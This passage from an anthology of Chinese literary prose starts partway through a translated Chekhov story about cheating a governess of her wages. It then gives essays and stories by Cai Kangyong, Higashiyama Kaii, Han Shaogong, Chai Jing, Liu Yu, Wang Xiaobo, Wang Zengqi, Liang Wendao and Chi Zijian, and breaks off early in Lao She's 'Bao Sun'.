　　我对她说：“请坐，尤丽娅·瓦西里耶夫娜！让我们算算工钱吧。您也许要用钱，你太拘泥礼节，自己是不肯开口的……呶……我们和您讲妥，每月三十卢布……”

　　“四十卢布……”

　　“不，三十……我这里有记载，我一向按三十付教师的工资的……呶，您呆了两个月……”

　　“两月另五天……”

　　“整两月……我这里是这样记的。这就是说，应付您六十卢布……扣除九个星期日……实际上星期日您是不和柯里雅一块儿学习的，只不过游玩……还有三个节日……”

　　尤丽娅·瓦西里耶夫娜骤然涨红了脸，牵动着衣襟，但一语不发。

　　“三个节日一并扣除，应扣十二卢布……柯里雅有病四天没学习……你只和瓦里雅一人学习……你牙痛三天，我内人准您午饭后歇假……十二加七得十九，扣除……还剩……嗯……四十一卢布。对吧？”

　　尤丽娅·瓦西里耶夫娜左眼发红，并且满眶湿润。下巴在颤抖。她神经质地咳嗽起来，擤了擤鼻涕，但——一语不发！

　　“新年底，您打碎一个带底碟的配套茶杯。扣除二卢布……按理茶杯的价钱还高，它是传家之宝……上帝保佑您，我们的财产到处丢失！而后哪，由于您的疏忽，柯里雅爬树撕破礼服……扣除十卢布……女仆盗走瓦里雅皮鞋一双，也是出於您玩忽职守，您应对一切负责，您是拿工资的嘛，所以，也就是说，再扣除五卢布……一月九日您从我这里支取了九卢布……”

　　“我没支过！”尤丽娅·瓦西里耶夫娜嗫嚅着。

　　“可我这里有记载！”

　　“呶……那就算这样，也行。”

　　“四十一减二十七净得十四。”

　　两眼充满泪水，长而修美的小鼻子渗着汗珠。令人怜悯的小姑娘啊！

　　她用颤抖的声音说道：“有一次我只从您夫人那里支取了三卢布……再没支过……”

　　“是吗？这么说，我这里漏记了！从十四卢布再扣除……呐，这是您的钱最可爱的姑娘！三卢布……三卢布……又三卢布……一卢布再加一卢布……请收下吧！”

　　我把十一卢布递给了她……她接过去，喃喃地说：

　　“谢谢。”

　　我一跃而起，开始在屋内踱来踱去。憎恶使我不安起来。

　　“为什么‘谢谢’？”我问。

　　“为了给钱……”

　　“可是我洗劫了你，鬼晓得，这是抢劫！实际上我偷了你的钱！为什么还说：‘谢谢’？”

　　“在别处，根本一文不给。”

　　“不给？怪啦！我和您开玩笑，对您的教训是太残酷了……我要把您应得的八十卢布如数付给您！呐，事先已给您装好在信封里了！可是何至于这样怏怏不快呢？为什么不抗议？为什么沉默不语？难道生在这个世界口笨嘴拙行吗？难道可以这样软弱吗？”

　　她苦笑了一下，而我却从她脸上的神态看出了一个答案，这就是“可以”。

　　我请她对我的残酷教训给予宽恕，接着把使她大为惊奇的八十卢布递给了她。她羞怯地点了一下数就走出去了。

　　我看着她的背影，沉思着：

　　“在这个世界上做个有权势的强者，原来如此轻而易举！”

铁血恋爱

蔡康永

　　亲爱的宝宝：

　　我小时候被很多残酷又迷人的爱情故事暗暗地吓过好几跳，虽然那时还没恋爱，但已经觉得这玩意似乎是未来人生的重要戏码，来势汹汹，才会到处埋伏下这么多郑重宣告“即将上映、不容错过”的预告片。

　　这些爱情故事里，有一个古中国的，非常冷酷。

　　故事是说一个君王，带着军队，出发去打仗，沿路停停走走，直到一处水边扎营时，君王和长驻水边的女神恋爱了。

　　他们缠绵了一段时间，直到君王惊觉他再不离开，继续踏上征途的话，他的军队将要瓦解，他该打的那场仗会毫不留情地抛弃他，片面宣布他可笑的缺席，和他缺席必然带来的，他的战败。

　　君王坚持向女神道别，女神挽留他，怎么留也留不住。女神只好答应放他走。

　　第二天早上，君王整顿好军队，准备要出发，走出居住的洞口一看，天却是黑的，原来满天飞舞着飞虫，密密麻麻，完全遮蔽了天空。要上路的君王，不要说是前进，连辨认阳光的方向都不能。

　　君王无奈地退回洞里，女神又出现，安慰他，叫他耐心多呆一天，和他缠绵。

　　又过了一天，君王走出洞外，又是满天飞虫，遮蔽天空和道路。君王只好再退回洞里。

　　这样过了三天，君王在第三天的夜晚告诉女神，说他出征后，将会再回到这水边来找他相聚。君王郑重地为女神围上一条珍贵的绿色腰带，说这腰带就是两人爱情的证物，要她好好珍藏。

　　女神围上腰带，虽然感动，但也知道君王心意已决，下次日出时他一定会全力突破困难离去。

　　次日一早，果然君王早已披挂好武器，准备无论如何要走了。没想到飞虫竟然变成了两三倍之多，简直把白天变成了黑夜。

　　君王瞇起眼睛，搜寻着飞虫，终于发现最上空有一只飞虫，腰上有一道鲜明的绿色，君王拉开弓箭，“嗖”的一箭，射穿了那只绿腰的飞虫，绿腰飞虫坠落，在半空就已还原成了绑着绿腰带的女神，轻轻掉落在水里，死了。

　　女神一死，满天她幻化出来的飞虫瞬间消失不见，晴空万里，君王带队离去。

　　宝宝啊，故事讲完了。

　　如何？

一片树叶

东山魁夷

　　人应当谦虚地看待自然和风景。为此固然有必要出门旅行，同大自然直接接触，或深入异乡，领略一下当地人们的生活情趣。然而，就是我们住地周围，哪怕是庭院的一木一叶，只要用心观察，有时也能深刻地领略到生命的涵义。

　　我注视着院子里的树木，更准确地说，是在凝望枝头上的一片树叶，而今，它泛着美丽的绿色，在夏日阳光里闪耀着光辉。我想起当它还是幼芽的时候，我所看到的情景。那是去年初冬，就在这片新叶尚未吐露的地方，吊着一片干枯的黄叶，不久就脱离了枝条飘落到地上。就在原来的枝丫上，你这幼小的坚强的嫩芽，生机勃勃地诞生了。

　　任凭寒风猛吹，任凭大雪纷纷，你默默等待着春天，慢慢地在体内积攒着力量。一日清晨，微雨乍晴，我看到树枝上缀满粒粒珍珠，这是一枚枚新生的幼芽凝聚着雨水闪闪发光。于是我感到百草都在催芽，春天已经临近了。

　　春天终于来了，万木高高兴兴地吐翠了。然而，散落在地面上的陈叶，早已腐烂化作泥土了。

　　你迅速长成了一片嫩叶在初夏的太阳下浮绿泛金。对于柔弱的绿叶来说，初夏，既是生机旺盛的季节，也是最易遭受害虫侵蚀的季节。幸好，你平安地迎来了暑天，而今正同伙伴们织成浓密的青荫，遮蔽着枝头。

　　我预测着你的未来。到了仲夏，鸣蝉将在你的浓荫下长啸，等一场台风袭过，那吱吱蝉鸣变成了凄切的哀吟，天气也随之凉爽起来。蝉声一断，代之而来的是树根深处秋虫的合唱，这唧唧虫声，确也能为静寂的秋夜增添不少雅趣。

　　你的绿意，不知不觉黯然失色了，终于变成了一片黄叶，在冷雨里垂挂着。夜来秋风敲窗，第二天早晨起来，树枝上已经消失了你的踪影。只看到你所在的那个枝丫上又冒出了一个嫩芽。等到这个幼芽绽放绿意的时候，你早已零落地下，埋在泥土之中了。

　　这就是自然，不光是一片树叶，生活在世界上的万物，都有一个相同的归宿。一叶坠地，绝不是毫无意义的。正是这片片黄叶，换来了整个大树的盎然生机。这一片树叶的诞生和消亡，正标志着生命在四季里的不停转化。

　　同样，一个人的死关系着整个人类的生。死，固然是人人所不欢迎的。但是，只要你珍爱自己生命，同时也珍爱他人的生命，那么，当你生命渐尽，行将回归大地的时候，你应当感到庆幸。这就是我观察庭院里的一片树叶所得的启示。不，这是那片树叶向我娓娓讲叙的生死轮回的要谛。

男人的风度

韩少功

　　不记得是哪一张报纸载文称，从整体上说，法国男人的风度在世界上该算首屈一指。与这些高卢人的后裔相比，美国人太过粗放，英国人略嫌拘谨，德国人的目光有些冷漠，日本人和中国人则难掩浮躁。法国男人出门前总要刮脸梳头，即便是巴黎的乞丐，也时常有衣着光鲜风度翩翩者。法国的男人尤爱展示自己对女性的宽容体谅。他们开车，有偶尔违反一下交通法规的癖好，自娱自得于自由不羁的国民性，但只要见女士横过马路，便远远地减速、停车，无论豪华奔驰或破烂卡车一律如此。排队买电影票，从未见过男士插队，“夹塞子”的只会是女流。她们也从不会招致男士的指责。从队列中发出不满嘘声的，只会是女子。如果这些心怀不满的女子旁边恰好有男伴，那男伴必定将她搂近身旁，温存地哄着，直到前面那女“塞子”买到票离去为止。

　　好男不与女人斗，好男不计女人过，这种对女人的优宠是否也隐含着一种居高临下的照顾甚至蔑视？某些激进的女权主义者正是这样提出疑问的。“女士优先”之类的法则常常宠出她们的恼怒。她们甚至还指责现存语言是男人的语言，因此她们很难用言语来真正表达她们的感受和主张。

　　法国男人对这种指责仍然微笑以待，表示充分的理解和支持。想想看，男人当到了这分上，还要怎么办？

　　他们立如柱，坐如钟，不辱“男士”这一个词——英语中，“男士”与“绅士”同为 gentleman，词义源于优雅、高贵、温和、耐心等等。法国男人大概算得上欧洲这一文化传统最精致的体现。

　　报纸上还说了一件事。前不久，一个黑大汉喝醉了，在某地铁站无故打人，从这个车厢闹到那个车厢，连劝解者也挨了几记乱拳。几个车厢的法国男人皆立如柱坐如钟，似乎没看见，继续关心着自己手中书报的艺术或哲学。唯一北欧男子路见不平，去与黑大汉论理，结果被对方打得头破血流。眼看着司机也不敢管，最后还是一些妇女忍无可忍，组成人墙，保护了那位北欧人，把事情了结。比起某些法兰西先生们来，那位北欧人知其不可而为之，劳而无功，鼻青脸肿，狼狈不堪，在脂粉们的救护下一跛一破离去，自然是十分缺乏风度的。

　　我当然喜爱那些法国男人的风度——在没有醉鬼向我暴力攻击的时候；正如我激赏中国士大夫传统的闲适、飘逸、超脱和虚净——在没有外敌横行和暴政肆虐的时候，没有人血横流的时候。美一不留神就成了丑。美不可凝固为一种仪态和一种时尚，人们是否明白这个道理？

　　我相信法国男人们也明白这个道理——那些创造了《马赛曲》和《国际歌》的男人，在革命和战争中流汗流血的男人。他们可能有种种女人不能原谅的毛病，但如果出现在这一天的地铁站，至少不会在暴行面前优雅地袖手。

什么叫气质

柴静

1

　　小时候，我想过一个问题“什么叫气质？”

　　有个同学很严肃地回答我，听克莱德曼的钢琴曲有气质，我找了个磁带，听了半天，没听见什么叫气质。

　　当时《读者》上有个台湾的“傻大姐信箱”，经常回答各种人生困惑，有一次有人也问“什么叫气质？”

　　大姐回答得很抒情，“气质就是春雨的沛润，夏风的迤逦，秋日的甜美，冬云的飘逸”

　　我盯着这几个排比句琢磨了一会儿，就放弃了这事。

2

　　前阵子吃饭的时候，有位男同志中途来了，一见刘瑜，握手寒暄的第一句话就是：“这么说，您是一个新保守主义者了？”

　　刘老师刚从剑桥回清华教政治学，这位同志可能认为总算找着了一个能用术语对话的人。

　　整个一晚上，他都雄崌一角，说着各种洋气的哲学和政治派别，说到外国人名就上英文，弄得本来八卦的饭局气氛全无。

　　我想起刘瑜前不久一篇文章，意思是爱说教的人不爱直视人生经验，特别爱翻山越岭，比如明明是推销专制思想，但不说“董仲舒说”或者‘张春桥说’，非要说“施密特说”。

　　她写，“你可能会问，施密特是谁？------这就对了，如果你也知道了施密特是谁，好些人还怎么用它装神弄鬼？”

3

　　伯林是个有名的哲学家，有人敬畏地问他“您认为现代性的主要特征是什么？”

　　老头子说“根本没这玩意儿，什么前现代性，现代性，后现代性，都是任意武断的概念”

　　那人又问，哲学到底有什么用？

　　他说了个故事，有个教哲学的老师给学生上第一课，说“你们当中有人要当律师，有人当官员，有人当士兵，我说的东西，对于你们要训练的技能，不管在哪方面都没有丝毫用处。但有一点可以向你们保证，上完这个课，你们总能看清人们什么时候在胡说八道。”

集体早操

刘瑜

　　从 1999 年夏天开始，我就失去了集体。

　　我，正如所有社会主义大家庭中的成员，从小在集体的怀抱里长大。小学的时候，小朋友们一起去包干区大扫除并且集体做早操。中学的时候，同学们一起彩排晚会节目并且集体做早操。大学的时候，大伙儿一起军训一起参加一二九合唱并且集体做早操。

　　从 1999 年夏天开始，我再也没有了集体早操可做。

　　先是在国内某大学做研究人员，不用坐班，不用教书，项目是各做各的。然后是出国读书，没有班级的概念，没有集体宿舍，没有一二九大合唱，更没有集体早操。后来开始写论文了，再后来又博士后了，更是成了一个学术的孤魂野鬼，自己看书，自己写东西，既没人搭理，也不用搭理谁。

　　对于一个口口声声热爱自由的学者来说，这难道不是梦寐以求的吗？

　　有时候，我的确对别人不得不过一种摩肩接踵的生活深感同情。那些不得不经常在领导面前点头称是的人，那些为了公司业务在客户面前强颜欢笑的人，那些要用精确到分钟的方式跟丈夫或者妻子汇报每日行踪的人。每当我可以连着几天几夜看自己想看的书或者上自己想上的网。没有孩子吵着让我带他去动物园，没有丈夫吵着让我给他做晚饭，没有领导吵着让我做某个报表，没有同屋的人在耳边叽叽喳喳，我的确有种捡个大便宜没事偷着乐的感觉。

　　可悲的是，凡事都是辩证的。

　　集体生活中的“强制性交往”迫使你想独处的时候不得不面对他人，而孤魂野鬼的生活使你在想跟人说话的时候，不得不拿起电话，一个一个往下扫名字，并且自言自语：这个人有空吗？他呢？她呢？他？她？他？上次是我主动约他吃饭的，这次再约人家会不会觉得很烦？而且，其实我们好像也没有什么可说的？

　　吃一餐饭，都要在心理上翻山越岭。哪像我们社会主义大家庭，不管他有没有空，不管他烦不烦，不管对他有没有什么可说的，都会稀里糊涂的聚到一起。辩证法这事，可真叫人伤脑筋。

　　我已经 31 岁，但是有时候，我希望有人突然敲我的门，大喊：起来了，起来了，做早操了！

　　然后我骂骂咧咧、睡眼惺忪地起床，去刷牙洗脸，走廊上碰见老大和老二，水房里碰见老三和老四，回到宿舍，看见在梳妆打扮的老五。然后朝阳下，混迹于成千上万人，我伸胳膊踢腿，从伸展运动做到整理运动。

　　就算我是厌烦这一切的，可是后来我发现凡是令你烦躁的，其实帮助你防止抑郁。当然抑郁和烦躁谁比谁更可恶，好比自杀与他杀谁比谁更可怕，这个仁者见仁智者见智。

　　今天路上碰见一个朋友，她行色匆匆，没说两句就要跑：哎呀，我得赶紧走了，我们有一个学习小组，每周一下午有一个聚会，轮流主持案例讨论，这么冷的天，烦死了，又不能不去！

　　我才不同情她呢。我嫉妒她还来不及呢。因为我的世界里，已经没有什么人群，没有什么聚会不能够不去。我站在广场上，人很多，声音很多，但是没有广播在播放：第一节，伸展运动……

弗洛伊德和受虐狂

王小波

　　我说过，以后写杂文要斯文一些，引经据典。今天要引的经典是弗洛依德。他老人家说过：从某种意义上说，我们每个人都有点歇斯底里——这真是至理名言！所谓歇斯底里，就是按不下心头一股无明火，行为失范。谁都有这种时候，但自打十年前我把弗洛依德全集通读了一遍之后，自觉脾气好多了。古人有首咏雪的打油诗曰：夜来北风寒，老天大吐痰。一轮红日出，便是止痰丸——有些人的痰气简直比雪天的老天爷还大。谁能当这枚止痰丸呢？只有弗洛依德。

　　年轻时，我在街道工厂当工人。有位师傅常跑到班长那里去说病了，要请假。班长问他有何症状，他说他看天是蓝色，看地是土色，蹲在厕所里任什么都不想吃。当然，他是在装骚鞑子。看天土色看地蓝色，蹲在臭烘烘茅坑上食欲大开，那才叫作有病——在这些小问题上，很容易取得共识，但大问题就很难说了。举例来说，法国人在马赛曲里唱道：不自由毋宁死；这话有人是不同意的。不信你就找本辜鸿铭的书来看看，里面大谈所谓良民宗教，简直就是在高唱：若自由毋宁死。《独立宣言》里说：我们认为，人人生而平等。这话是讲给英国皇上听的，表明了平民的尊严。这话孟夫子一定反对，他说过：无君无父，是禽兽也——这又简直是宣布说，平民不该有自己的尊严。总而言之，个人的体面与尊严，平等、自由等等概念，中国的传统文化里是没有的，有的全是些相反的东西。我是很爱国的，这体现在：我希望伏尔泰、杰弗逊的文章能归到辜鸿铭的名下；而把辜鸿铭的文章栽给洋鬼子。假如这是事实的话，我会感到幸福得多。

　　有时候我想：假如“大跃进”、“文化革命”这些事，不是发生在中国，而是发生在外国，该有多好。这些想法很不体面，但还不能说是有痰。有些坏事发生在了中国，我们就说它好，有些鬼话是中国人说的，我们就说它有理，这种作法就叫作有痰气。有些年轻人把这些有痰气的想法写成书，他本人倒不见得是真有痰，不过是哗众取宠罢了。一种普遍存在的事态比这要命得多。举例来说，很多中年人因为文革中上山下乡虚耗了青春，这本是种巨大的痛苦；但他们却觉得很幸福，还说：青春无悔！再比方说，古往今来的中国人总在权势面前屈膝，毁掉了自己的尊严，也毁掉了自己的聪明才智。这本是种痛苦，但又有人说：这很幸福！久而久之，搞到了是非难辨，香臭不知的地步……这就是我们嗓子里噎着的痰。扯完了这些，就可以来谈谈我的典故。

　　众所周知，有一种人，起码是在表面上，不喜欢快乐，而喜欢痛苦；不喜欢体面和尊严，喜欢奴役与屈辱，这就是受虐狂。弗洛依德对受虐狂的成因有这样一种解释：人若落入一种无法摆脱的痛苦之中，到了难以承受的地步，就会把这种痛苦看作是幸福，用这种方式来寻求解脱——这样一来，他的价值观就被逆转过来了。当然，这种过程因人而异。有些人是不会被逆转的。比方说我吧，在痛苦的重压下，会有些不体面的想法，但还不会被逆转。另有一些人不仅被逆转，而且还有了痰气，一听到别人说自由、体面、尊严等等是好的，马上就怒火万丈——这就有点不对头了，世界上哪有这样气焰万丈的受虐狂？——你就是真有这种毛病，也不要这个样子嘛。

猫

汪曾祺

　　我不喜欢猫。

　　我的祖父有一只大黑猫，这只猫很老了，老的懒得动，整天在屋里趴着。

　　从这只老猫我知道猫的一些习性：

　　猫念经。猫不知道为什么整天“念经”，整天乌鲁乌鲁不停。这乌鲁乌鲁的声音不知是从哪里发出来的，怎么发出来的。不是从喉咙里，像是从肚子里发出的。乌鲁乌鲁……真是奇怪。别的动物没有不停地这样念经的。

　　猫洗脸。我小时洗脸很马虎、我的继母说我是猫洗脸。猫为什么要“洗脸”呢？

　　猫盖屎。北京人把做了见不得人的事想遮盖而又遮不住，叫“猫盖屎”。猫怎么知道拉了屎要盖起来的。谁教给它的？——母猫，猫的妈？

　　我的大伯父养了十几只猫。比较名贵的是玳瑁猫——有白、黄、黑色的斑块。如是狮子猫，即更名贵。其他的猫也都有品，如“铁棒打三桃”，——白猫黑尾，身有三块桃形的黑斑；“雪里拖枪”；黑猫、白猫、黄猫、狸猫……

　　我觉得不论叫什么名堂的猫，都不好看。

　　只有一次，在昆明，我看见过一只非常好看的小猫。

　　这家姓陈，是广东人。我有个同乡，姓朱，在轮船上结识了她们，母亲和女儿，攀谈起来。我这同乡爱和漂亮女人来往。她的女儿上小学了。女儿很喜欢我，爱跟我玩。母亲有一次在金碧路遇见我们，邀我们上她家喝咖啡。我们去了。这位母亲已经过了三十岁了，人很漂亮，身材高高的，腿很长。她看人眼睛眯眯的，有一种惶惶忽忽的成熟的美。她斜靠在长沙发的靠枕上，神态有点慵懒。在她脚边不远的地方，有一个绣墩，绣墩上一个墨绿色软缎圆垫上卧着一只小白猫。这猫真小，连头带尾只有五寸，雪白的白得像一团新雪。这猫也是懒懒的，不时睁开蓝眼睛顾盼一下，就又闭上了。屋里有一盆很大的素心兰，开得正好。好看的女人、小白猫、兰花的香味，这一切是一个梦境。

　　猫的最大的劣迹是交配时大张旗鼓地嚎叫。有的地方叫做“猫叫春”，北京为之“闹猫”。不知道是由于快感或痛感，郎猫女猫（这是北京人的说法，一般地方都叫公猫、母猫）一递一声，叫起来没完，其声凄厉，是在讨厌。鲁迅“仇猫”，良有以也。有一老和尚为其叫声所扰，以致不能入定，乃作诗一首。诗曰：

　　春叫猫儿猫叫春，看他越叫越来神。老僧亦有猫儿意，不敢人前叫一声。

思念那不在者

梁文道

　　罗兰·巴特（Roland Barthes）在《恋人絮语》里有一个关于情欲的敏锐观察：“许多歌谣与旋律描述的都是情人的不在。”它们总是不厌其烦地述说情人远去的失落，因离别而起的愁绪，与孤寂守候的难熬。为什么？因为这是一个时常出现的状况，情人总有暂别或者消失的时候？还是情人按其本质就是一种长久不在、永远隐身的对象？

　　答案似乎是后者，情人就是那不在身边的人：而且就算他在，也永远消除不了他流离他方的幻觉，与自己被留在原处无法跟随的惆怅。为了解释这么奇特的情况，罗兰·巴特还特别引用了一个古希腊词：pathos，对于那不在者的思念与渴望。

　　pathos 这个词与其他表述爱欲的希腊文共有一种亲缘关系，那就是无法穷尽、永不满足的缺憾。不知何故，意中人不在眼前，我固然日思夜想；即使他在不远处，我却依然难以抑止对他的渴望。何等怪异，却又何等正常，以希腊人的理解，这正是情欲的定义；而那情之所钟的对象，就是你的情人了。

　　缘此我们又能领会另外一类不可思议的状态了。平常我们老是听说情人影像在脑海之中挥之不去的滥调；但是有些人却正好相反，愈是思慕，愈是失落，因为他无论如何就是想不起意中人的容貌。由于记不起对方的样子，他就愈努力去记。以至于再也分不出，究竟是因为忘记了对方而努力思考，所以成了爱情；还是因为爱情，才遗忘了对方，失却了对象。愈是想得，愈不可得，pathos 的终极矛盾。

魔术师与跛足驴

迟子建

　　我想把脸涂上厚厚的泥巴，不让人看到我的哀伤。

　　我的丈夫是个魔术师，两个多月前的一个深夜，他从逍遥里夜总会表演归来，途经芳洲苑路口时，被一辆闯红灯的摩托车撞倒在灯火阑珊的大街上。肇事者是个郊县的农民，那天因为菜摊生意好，就约了一个修鞋的，一个卖豆腐的，到小酒馆喝酒划拳去了。他们要了一碟盐水煮毛豆，三只酱猪蹄，一盘辣子炒腰花，一大盘烤毛蛋，当然，还有两斤烧酒。吃喝完毕，已是月上中天的时分了，修鞋的晃晃悠悠回他租住的小屋，卖豆腐的找炸油条的相好去了，只有这个菜农，惦着老婆，骑上他那辆破烂不堪的摩托车，赶着夜路。

　　这些细节，都是肇事后进了看守所的农民对我讲的。他说那天不怪酒，而是一泡尿惹的祸。吃喝完毕，他想撒尿，可是那样寒酸的小酒馆是没有洗手间的，出来后想去公厕，一想要穿过两条马路，且那公厕的灯在夜晚时十有八九是瞎的，他怕黑咕隆咚地一脚跌进粪坑，便想找个旮旯方便算了。菜农朝酒馆背后的僻静处走去。谁知僻静处不僻静，一男一女啧啧有声地搂抱在一起亲吻，他只好折回身上了摩托车，想着白天时走四十分钟的路，晚上车少人稀，二十多分钟也就到了，就憋着尿上路了。尿的催促和夜色的掩护，使他骑得飞快，早已把路口的红灯当做被撇出自家园田的烂萝卜，想都不去想了，灾难就是在这时如七月飞雪一样，让他在瞬间由温暖坠入彻骨的寒冷。

　　街上要是不安红绿灯就好了，人就会瞅着路走，你男人会望到我，他就会等我过去了再过。菜农说这话的时候，嘴角带着苦笑。

　　小酒馆要是不送那壶免费的茶就好了，那茶尽他妈是梗子，可是不喝呢又觉得亏得慌。卖豆腐的不爱喝水，修鞋的只喝了半杯，那多半壶水都让我饮了！菜农说，哪知道茶里藏着鬼呢！

　　菜农没说，肇事之后，他尿湿了裤子，并且委屈地跪在地上拍着我丈夫的胸脯哭嚎着说，我这破摩托跟个瘸腿老驴一样，你难道是豆腐做的？老天啊！

　　这是一位下了夜班的印染厂的工人、一个目击者对我讲的。所以第一个哭我丈夫的并不是我，而是“瘸腿老驴”的主人。

　　我去看这个菜农，其实只是想知道我丈夫在最后一刻是怎样的情形。他是在瞬间就停止了呼吸，还是呻吟了一会儿？如果他不是立刻就死了的，弥留之际他说了什么没有？

　　当我这样问那个菜农的时候，他喋喋不休地跟我讲的却是小酒馆的茶水、烧酒、没让他寻成方便的那对拥吻的男女、红绿灯以及那辆破摩托。这些全成了他抱怨的对象。他责备自己不是个花心男人，如果乘着酒兴找个便宜女人，去小旅馆的地下室开个房间，就会躲过灾难了。他告诉我，自从出事后，他一看到红色，眼睛就疼，就跟一头被激怒的公牛一样，老想撞上去。

　　我那天穿着黑色的丧服，所以他看待我的目光是平静的。他告诉我，他奔向我丈夫时，他还能哼哼几声，等到急救车来了，他一声都不能哼了。

　　他其实没遭罪就上天享福去了，菜农说，哪像我，被圈在这样一个鬼地方！

　　我看你还年轻，模样又不差，再找一个算了！这是我离开看守所时，菜农对我说的最后一句话。他那口吻很像一个农民在牲口交易市场选母马，看中了一匹牙口好的，可这匹被人给提前预定了，他就奔向另一匹牙口也不错的马，叫着，它也行啊！

　　可我不是母马。

　　我从来不叫丈夫的名字，我就叫他魔术师，他可不就是魔术师么！十几年前，我还在一所小学教语文，有一年六一儿童节，我带着孩子们去剧场看演出。第一个出场的就是魔术师，他又高又瘦，穿一套黑色燕尾服，戴着宽檐的上翘的黑礼帽，白手套，拄一根金色的拐杖，在大家的笑声中上场了。他一登台，就博得一阵掌声，他鞠了一个躬，拐杖突然掉在地上，等到他捡起它时，金色的拐杖已经成了翠绿色的了，他诧异地举着它左看右看时，拐杖又一次“失手”落在地上，等他又一次捡起时，它变为红色的了。让人觉得舞台是个大染缸，什么东西落在上面，都会改变颜色。谁都明白魔术师手中的物件暗藏机关，但是身临其境时，你只觉得那根手杖真的是根魔杖，蕴藏着无限风云。

　　我大约就是在那一时刻爱上魔术师的，能让孩子们绽开笑容的身影，在我眼中就是奇迹。

　　奇迹是七年前降临的。

　　由于我写的几篇关于儿童心理学方面的论文在国家级学刊上发表了，市妇女儿童研究所把我调过去，当助理研究员。刚去的时候我雄心勃勃地以为自己会干一番大事业，可是研究所的气氛很快让我产生了厌倦情绪。这个单位一共二十个人，只有四名男的。太多的做学问的女人聚集在一起绝不是什么好事情，大家互相客气又互相防范，那里虽然没有争吵，可也没有笑声，让人觉得一脚踩进了阴冷陈腐的墓穴。由于经费短缺，所有的课题研究几乎很难开展和深入，我开始后悔离开了学校，我怀念孩子们那一张张葵花似的笑脸。研究所订阅了市晨报和晚报，报纸一来，人们就像一群饥饿的狗望见了骨头，争相传阅。我就是在浏览晚报的文体新闻时，看到一篇关于魔术师的访问，知道他的生活发生了变故的。原来他妻子一年前病故了，他和妻子感情深厚，整整一年，他没有参加任何演出。现在，他准备重返舞台了。我还记得在采访结束时，魔术师对记者所讲的那句话：生活不能没有魔术。

　　我开始留意魔术师的演出，无论是在大剧院还是小剧场的演出，我都场场不落。我乐此不疲地看他怎样从拳头中抽出一方手帕，而这手帕倏忽间就变为一只扑棱棱飞起的白鸽；看他如何把一根绳子剪断，在他双手抖动的瞬间，这绳子又神奇地连接到了一起。我像个孩子一样看得津津有味，发出笑声。魔术师那张瘦削的脸已经深深地雕刻在我心间，不可磨灭。

　　有一天演出结束，当观众渐渐散去，他终于向台下的我走来。他显然注意到了我常来看他的表演，而且总是买最贵的票坐在首排。他对我说的第一句话是，你想学魔术？

　　我没有学成魔术，我做了魔术师的妻子。

　　我们结婚的时候，他所在的剧团的演出已经江河日下，进剧场的人越来越少了。魔术师开始频繁随剧团去农村演出。最近几年，他又迫不得已到一些夜总会去。那些看厌了艳舞、唱腻了卡拉 OK 情歌的男人们，喜欢在夜晚与小姐们厮混得透出乏味时，看一段魔术。有时看到兴头上，他们就把钞票扬到他的脸上，吆喝他把钞票变成金砖，变成女人的绣花胸衣。所以魔术师这几年的面容越来越清癯，神情越来越忧郁。他多次跟剧团的领导商量，他不想去夜总会了，领导总是带着企求的口吻说，你是个男人，没有性骚扰的问题，他们看魔术，无非就是寻个乐子，你又不伤筋动骨的；唱歌的那些女的，有时在接受献花时还得遭受客人的“揩油”呢，人家顺手在胸脯和屁股上摸一把，她们也得受着。为了剧团的生存，你就把清高当成破鞋，给撇了吧！

　　魔术师只得忍着。他在夜总会的演出，都是剧团联系的。演出报酬是四六开，他得的是“四”，剧团是“六”。他常用得来的“四”，为我买一束白百合花，一串炸豆腐干或者是一瓶红酒。

　　月亮很好的夜晚，我和魔术师是不拉窗帘的，让月光温柔地在房间点起无数的小蜡烛。偶尔从梦中醒来，看着月光下他那张轮廓分明的脸庞，我会有一种特别的感动。我喜欢他凸起的眉骨，那时会情不自禁抚摩他的眉骨，感觉就像触摸着家里的墙壁一样，亲切而踏实。

　　可这样的日子却像动人的风笛声飘散在山谷一样，当我追忆它时，听到的只是弥漫着的苍凉的风声。

　　魔术师被推进火化炉的那一瞬间，我让推着他尸体的人停一下，他们以为我要最后再看他一眼，就主动从那辆冰凉的跟担架一样的运尸车旁闪开。我用手抚摸了一下他的眉骨，对他说，你走了，以后还会有谁陪我躺在床上看月亮呢！你不是魔术师么，求求你别离开我，把自己变活了吧！

　　迎接我的，不是他复活的气息，而是送葬者像涨潮的海水一样涌起的哭声。

　　奇迹没有出现，一头瘸腿老驴，驮走了我的魔术师。

　　我觉得分外委屈，感觉自己无意间偷了一件对我而言是人世间最珍贵的礼物，如今它又物归原主了。

　　我决定去三山湖旅行。

　　三山湖有著名的火山喷发后形成的温泉，有一座温泉叫“红泥泉”，据说淤积在湖底的红泥可以治疗很多疾病，所以泡在红泥泉边的人，脸上身上都涂着泥巴，如一尊尊泥塑。当初我和魔术师在电视中看到有关三山湖的专题片时，就曾说要找某一个夏季的空闲时光，来这里度假。那时我还跟他开玩笑，说是湖畔坐满了涂了泥巴的人，他肯定会把老婆认错了。魔术师温情地说，只要人的眼睛不涂上泥巴，我就会认出你来，你的眼睛实在太清澈了。我曾为他的话感动得湿了眼睛。

　　如今独自去三山湖，我只想把脸涂上厚厚的泥巴，不让人看到我的哀伤。我还想在三山湖附近的村镇走一走，做一些民俗学的调查，收集民歌和鬼故事。如果能见到巫师就更好了。我希望自己能在民歌声中燃起生存的火焰，希望在鬼故事中找到已逝人灵魂的居所。当然，如果有一个巫师真的会施招魂术，我愿意与魔术师的灵魂相遇一刻——哪怕只是闪电的刹那间。

抱孙

老舍

　　难怪王老太太盼孙子呀；不为抱孙子，娶儿媳妇干吗？也不能怪儿媳妇成天着急；本来吗，不是不努力生养呀，可是生下来不活，或是不活着生下来，有什么法儿呢！就拿头一胎说吧：自从一有孕，王老太太就禁止儿媳妇有任何操作，夜里睡觉都不许翻身。难道这还算不小心？哪里知道，到了五个多月，儿媳妇大概是因为多眨巴了两次眼睛，小产了！还是个男胎；活该就结了！再说第二胎吧，儿媳妇连眨巴眼都拿着尺寸；打哈欠的时候有两个丫环在左右扶着。果然小心谨慎没错处，生了个大白胖小子。可是没活了五天，小孩不知为了什么，竟自一声没出，神不知鬼不觉的与世长辞了。那是十一月天气，产房里大小放着四个火炉，窗户连个针尖大的窟窿也没有，不要说是风，就是风神，想进来是怪不容易的。况且小孩还盖着四床被，五条毛毯，按说够温暖的了吧？哼，他竟自死了。命该如此！

